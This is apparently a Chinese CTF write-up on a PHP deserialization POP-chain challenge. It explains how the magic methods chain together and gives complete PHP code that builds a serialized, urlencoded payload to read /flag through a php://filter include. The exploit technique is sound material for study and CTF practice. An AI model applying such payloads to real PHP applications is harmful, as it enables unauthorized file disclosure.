第一步:看到 include($value); 作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。
__invoke():对象以函数形式被调用时触发
第二步:$function() ,则要触发 __get($key),看到 $this->string->page
__get():对不存在、不可访问的变量进行赋值就会自动调用
第三步:$this->string->page(重点) ,则要触发 __toString(),看到 preg_match
使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。
__toString():对象被当成字符串时被调用
echo,print,die,preg_match,strtolower,==
第四步:preg_match,则要触发 __wakeup(),而原文中有 unserialize(),不用管。
<?php
class Road_is_Long{
public $page;//4
public $string;//3 Make_a_Change
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=/flag";//1 shell
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;//2 Try_Work_Hard
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
$a=new Try_Work_Hard();
$b=new Make_a_Change();
$b->effort=$a;
$c=new Road_is_Long();
$c->string=$b;
$d=new Road_is_Long();
$d->page=$c;
echo urlencode(serialize($d));
?>
要点:
1.在弄pop链时,只在变量上表明步骤。通过标注来写过程。
2. 有特殊的成员变量时,最后要urlencode()。
3.对于第三步和第四步要分开赋值。
$c=new Road_is_Long();
$c->string=$b;
$d=new Road_is_Long();
$d->page=$c;